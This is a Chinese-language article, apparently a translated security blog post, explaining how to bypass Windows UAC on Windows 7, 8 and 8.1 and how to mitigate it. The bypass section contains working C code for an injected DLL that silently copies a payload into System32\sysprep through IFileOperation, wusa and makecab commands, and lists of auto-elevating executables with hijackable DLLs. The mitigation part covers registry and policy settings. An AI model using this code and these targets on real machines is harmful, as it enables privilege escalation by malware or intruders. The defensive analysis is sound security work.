Windows用戶帳戶控制(UAC)的繞過與緩解方式
在企業(yè)環(huán)境中保護機器免受惡意威脅一直是一個持續(xù)的過程。如果給用戶提供了管理員權(quán)限,就會被濫用于安裝未經(jīng)許可的軟件,更改配置,等等。如果不給用戶提供本地管理員權(quán)限,他們就會聲稱他們不能正常開展工作了。如果惡意軟件碰巧感染了擁有完全管理員權(quán)限的機器,那么你最有可能眼睜睜的看著計算機被惡意軟件重新映像。
用戶帳戶控制(UAC) 給了我們使用標準的用戶權(quán)限代替完全的管理員權(quán)限來運行程序的能力。所以即使您的標準用戶帳戶位于本地管理員組中,那么受到的破壞也是有限的,如安裝服務,驅(qū)動程序以及對安全位置執(zhí)行寫入操作,等等,這些行為都是被拒絕的。要進行這些操作,用戶需要與桌面進行交互,如右鍵單擊并以管理員身份運行或者是接受 UAC 提升的提示。Microsoft從 Windows Vista 起就引入了UAC,它包含了大量的技術,其中包括文件系統(tǒng)和注冊表虛擬化、保護管理員 (PA) 帳戶、UAC 提升提示和 Windows 完整性級別。
UAC 的工作原理是調(diào)整我們當前的用戶帳戶的權(quán)限級別,所以即使我們擁有計算機上的本地管理員權(quán)限,程序的操作還是作為標準用戶進行的。當程序執(zhí)行的操作需要管理員級別的權(quán)限時, UAC 就會通知我們。如果我們已經(jīng)擁有了本地管理員權(quán)限,那么我們可以單擊“是”繼續(xù),否則系統(tǒng)將會提示您輸入管理員密碼。當然這些將取決于您的環(huán)境中定義了何種策略。
本文講述了如何輕松地繞過UAC提升提示并且可以采取哪些措施來減輕這種威脅。
繞過 UAC
繞過 UAC 是一個簡單的過程??梢圆扇蓚€步驟實現(xiàn)從標準的用戶權(quán)限到管理員用戶權(quán)限的提升。這些步驟的方法已被廣泛的公布,所以這并不是什么新奇的技術,不過在第二個步驟中會出現(xiàn)一些更多的 DLL 劫持漏洞。
·寫入到安全位置
·利用 DLL 劫持漏洞
為了能成功的繞過 UAC,在開始前我們需要一些事情:
1.一個完整性級別為中等的進程
2.一個管理員組中的標準用戶
3.必須由微軟代碼簽名證書簽名過的Windows 可執(zhí)行文件
4.必須位于一個安全目錄的Windows 可執(zhí)行文件
5.Windows 可執(zhí)行文件也必須在他們自身的程序清單中指定自動提升屬性
寫入到安全位置
我們可以使用這幾種方法寫入到安全位置。
·使用 IFileOperation COM 對象
·使用 Windows 更新獨立安裝程序 (wusa.exe)
IFileOperation COM 對象
IFileOperation COM 對象有一個方法可以用來將文件復制到安全位置,該操作將會自動進行提升并能夠執(zhí)行特權(quán)的拷貝。我們可以在完整性級別為中等的進程中注入我們的惡意DLL來執(zhí)行此操作以便能夠繞過UAC。由于COM 對象設置了自動提升,所以被注入的進程在其程序清單中不需要標記自動提升。
在 windows 7 中可以成功復制并能夠注入的進程如下:
C:\Windows\explorer.exe C:\Windows\System32\wuauclt.exe C:\Windows\System32\taskhost.exe
在測試過程中 taskhost.exe 在開機后只工作一次,wuauclt.exe 并不是一直可以工作, explorer.exe 是唯一可以使用的可靠進程。
在 Windows 8 中可以成功復制并能夠注入的進程如下:
C:\Windows\explorer.exe C:\Windows\System32\wuauclt.exe C:\Windows\System32\RuntimeBroker.exe
在 Windows 8.1的測試過程中我發(fā)現(xiàn)Explorer.exe又是唯一可以使用的可靠進程。
下面的代碼的主要部分是從MSDN 中得到的,只是做了一些輕微的變化。 SetOperationFlags 的值取自在這里公布的 UAC 繞過代碼。
#include <stdio.h>#include <Shobjidl.h>#include <Windows.h> #pragma comment(lib, "Ole32.lib")#pragma comment(lib, "shell32.lib") int WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved){FileOperation *pfo;IShellItem *psiFrom = NULL;IShellItem *psiTo = NULL; LPCWSTR pszSrcItem = L"calc.dll"; LPCWSTR pszNewName = L"cryptbase.dll"; LPCWSTR pszDest = L"C:\\windows\\System32\\sysprep"; HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);if (SUCCEEDED(hr)){ hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo)); if (SUCCEEDED(hr)) { hr = pfo->SetOperationFlags( FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION | FOF_NOERRORUI ); if (SUCCEEDED(hr)) { hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom)); if (SUCCEEDED(hr)) { if (NULL != pszDest) { hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo)); } if (SUCCEEDED(hr)) { hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL); if (NULL != psiTo) { psiTo->Release(); } } psiFrom->Release(); } if (SUCCEEDED(hr)) { hr = pfo->PerformOperations(); } } pfo->Release(); } CoUninitialize(); } return 0;}
#p#
Windows 更新獨立安裝程序
另外一種可用于復制文件到安全位置的方法是使用Windows 更新獨立安裝程序 (wusa.exe)。Wusa.exe執(zhí)行時作為高級別完整性進程運行就如同在其清單中設置了自動提升一樣。對于自動進行 UAC提升的Windows 可執(zhí)行文件,必須是被簽名過的文件,并位于如 C:\Windows\System32 的安全目錄中,并且必須在其清單中指定的自動提升屬性。
我們使用 wusa.exe解壓一個 CAB 文件到我們的安全位置:
wusa c:\users\user1\desktop\poc.tmp /extract:c:\windows\system32\sysprep
在這個示例中,我們的 cab 文件為 poc.tmp,不過我們可以將它命名為任何我們所喜歡的名稱。Windows 帶有 makecab.exe 工具,所以我們甚至可以創(chuàng)建我們自己的 cab 文件。
makecab c:\users\user1\desktop\CRYPTBASE.dll c:\users\user1\desktop\poc.tmp
利用 DLL 劫持漏洞
當利用一個 DLL 劫持漏洞時,我們要運行的可執(zhí)行文件需要已簽名的文件并位于安全目錄中,還必須在其程序清單中指定自動提升屬性以便作為一個高級別完整性的進程加載。
在 Windows 7 上,有三個可執(zhí)行文件可被利用并且相關的 DLL如下:
C:\windows\ehome\Mcx2Prov.exe C:\Windows\ehome\CRYPTBASE.dll C:\windows\System32\sysprep\sysprep.exe C:\Windows\System32\sysprep\CRYPTSP.dll C:\windows\System32\sysprep\CRYPTBASE.dll C:\Windows\System32\sysprep\RpcRtRemote.dll C:\Windows\System32\sysprep\UxTheme.dll C:\windows\System32\cliconfg.exe C:\Windows\System32\NTWDBLIB.DLL
去年6 月 25 日提交在Malwr.com 上的一種惡意軟件已經(jīng)在采用 Mcx2Prov.exe 來繞過 UAC 并且沒過多久該利用漏洞就被公布了。
相同 HASH 的惡意軟件在四個月前被提交在VirusTotal (38/54)上。
在 Windows 8 上同樣有三個可執(zhí)行程序可被利用,相關的DLL 如下:
C:\windows\System32\sysprep\sysprep.exe C:\windows\System32\sysprep\CRYPTBASE.dll C:\Windows\System32\Sysprep\dwmapi.dll C:\Windows\System32\Sysprep\SHCORE.dll C:\windows\System32\cliconfg.exe C:\Windows\System32\NTWDBLIB.DLL C:\windows\System32\pwcreator.exe C:\Windows\System32\vds.exe C:\Windows\System32\UReFS.DLL
最終在 Windows 8.1 中也同樣有三個可被利用的可執(zhí)行程序,相關的DLL 如下:C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\Sysprep\SHCORE.dll C:\Windows\System32\Sysprep\OLEACC.DLL C:\windows\System32\cliconfg.exe C:\Windows\System32\NTWDBLIB.DLL C:\windows\System32\pwcreator.exe C:\Windows\System32\vds.exe C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll
在調(diào)用 pwcreateor.exe 可執(zhí)行文件時,它會調(diào)用 vds.exe(虛擬磁盤服務),之后會加載我們的DLL 并且執(zhí)行后的進程的完整性級別為系統(tǒng)級別。
在調(diào)用 sysprep.exe,cliconfig.exe,pwcreateor.exe 時會產(chǎn)生一個GUI窗口,你應該可以輕松的使它們運行在后臺,并且在繞過 UAC之后將它們結(jié)束掉。
緩解措施
防止繞過 UAC的最好的方法是在用戶的機器中不要給予他們本地管理員權(quán)限。在企業(yè)環(huán)境中的絕大多數(shù)用戶帳戶你都應該這么去做,以減少受攻擊面。然而,這不適用于在默認情況下具有本地管理員權(quán)限的家庭用戶。
在實際的繞過中,僅對 UAC設置中的中間那兩個選項起作用。要查看你的設置你可以在控制面板——用戶帳戶——改變用戶帳戶控制設置 中查看。
僅當應用程序嘗試更改我的計算機時通知我(默認)
僅當應用程序嘗試更改我的計算機時通知我(不降低桌面亮度)
因此,我們需要設置為“總是通知”,但是這樣做有點像Windows Vista一樣會持續(xù)進行通知,所以這并不實用,并且到最后,用戶可能會設置為“從不通知”,這樣的話,看起來這并不是一個好主意。
Microsoft 提供了 10 個UAC策略,我們有必要在你的域環(huán)境中實施策略前花點時間來了解并測試這些策略。你可以在開始-運行中鍵入 secpol.msc 來打開本地計算機的本地安全策略并展開 本地策略,在安全選項里可以找到應用在本地計算機的用戶帳戶控制策略??梢允褂?rsop.msc 查看在域中應用到本地的組策略。
在注冊表中,UAC的默認設置如下:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]"ConsentPromptBehaviorAdmin"=dword:00000005"ConsentPromptBehaviorUser"=dword:00000003"EnableInstallerDetection"=dword:00000001"EnableLUA"=dword:00000001"EnableSecureUIAPaths"=dword:00000001"EnableUIADesktopToggle"=dword:00000000"EnableVirtualization"=dword:00000001"FilterAdministratorToken"=dword:00000000"PromptOnSecureDesktop"=dword:00000001"ValidateAdminCodeSignatures"=dword:00000000
把“用戶帳戶控制設置”設置為“總是通知”,相關的注冊項的值改變?nèi)缦拢?/p>
"ConsentPromptBehaviorAdmin"=dword:00000002
把“用戶帳戶控制設置”設置為“僅當應用程序嘗試更改我的計算機時通知我(不降低桌面亮度)” 相關的注冊項的值改變?nèi)缦拢?/p>
"PromptOnSecureDesktop"=dword:00000000
當把“用戶帳戶控制設置”設置為“從不通知”時,相關的注冊項的值改變?nèi)缦拢?/p>
"ConsentPromptBehaviorAdmin"=dword:00000000"EnableLUA"=dword:00000000"PromptOnSecureDesktop"=dword:00000000
我們注意到 "EnableLUA"的值為0 ,意味著UAC已被禁用。這是非常危險的,因此,強烈推薦您在組策略中設置此設置選項,這樣可以在用戶或者是被以前刪除的惡意軟件重置/改變了設置選項后,依舊可以應用策略,啟用UAC。
用戶帳戶控制: 以管理員批準模式運行所有管理員
一旦禁用此策略將有不只一個惡意進程能夠直接并無需任何繞過行為就能以高級別完整性運行而且 IE瀏覽器進程的完整性級別為中等。在IE瀏覽器提供的額外的安全性中,UAC 給用戶提供了保護模式 (沙盒)。IE瀏覽器通常在低級別完整性的子進程中運行,因此會將IE 漏洞所帶來的一些威脅最小化并且在低級別完整性中,可寫入的位置很少。
上述這些改變在 Windows 7中有效,在Windows 8/8.1中 EnableLUA 不會被更改為禁用狀態(tài)。因此,在將“用戶帳戶控制”設置為“從不通知”時,只產(chǎn)生了下列改變:
"ConsentPromptBehaviorAdmin"=dword:00000000"PromptOnSecureDesktop"=dword:00000000
這個時候,由于“EnableLUA”=dword:00000001的值沒有發(fā)生改變,因此, UAC沒有完全禁用,同時IE瀏覽器依舊運行在低級別完整性中。
然而,如果一個用戶使用本地管理員帳戶登錄到計算機時,UAC的設置對于所有使用高級別完整性的進程是不起作用的。因此,在Windwos 7/8 和 8.1中,總是要確保用戶沒有使用本地管理員帳戶登錄計算機,如果將域帳戶添加到本地管理員組中將會更好的請求本地管理員權(quán)限。
不管出于什么原因使用本地管理員帳戶登錄計算機,最好設置 UAC 策略為啟用狀態(tài)。
用戶帳戶控制: 對內(nèi)置管理員帳戶使用管理審批模式
“FilterAdministratorToken”=dword:00000001
另一個選項則是如果在系統(tǒng)上不是必須需要這些程序,你可以重命名或刪除Mcx2Prov.exe、 sysprep.exe、 cliconfg.exe 和 pwcreator.exe 可執(zhí)行文件,這樣,在第二個步驟中利用 DLL 劫持就會失敗。
最后,如果用戶請求本地管理員權(quán)限并且值得他們修改計算機的UAC為“總是通知“,那么他們將會得到持續(xù)不斷的通知。
用戶帳戶控制: 在管理審批模式下管理員的提升提示行為(在安全桌面上同意提示)
結(jié)論
這些繞過方式僅在滿足所有的條件時才會起作用,只要有一個條件不滿足,那么繞過 UAC就會失敗。Office 文檔進程的完整性級別為中等,因此,這將是一個理想的用于 UAC繞過的目標。由于可以毫不費力地實現(xiàn) UAC 的繞過,真正唯一能做的就是將 UAC 設置為"始終通知"或刪除該用戶的本地管理權(quán)限。最后可以使用像微軟的 EMET或 MalwareBytes 來更好的防御零日漏洞。
這是一些源代碼和二進制文件,你可以自行測試。我測試了 Windows 企業(yè)版的 7/8/8.1 64 位系統(tǒng)。
參考與引用
http://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx
http://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx
http://windows.microsoft.com/en-gb/windows/what-is-user-account-control#1TC=windows-7
http://windows.microsoft.com/en-gb/windows/what-are-user-account-control-、settings#1TC=windows-7
http://blog.cobaltstrike.com/2014/03/20/user-account-control-what-penetration-testers-should-know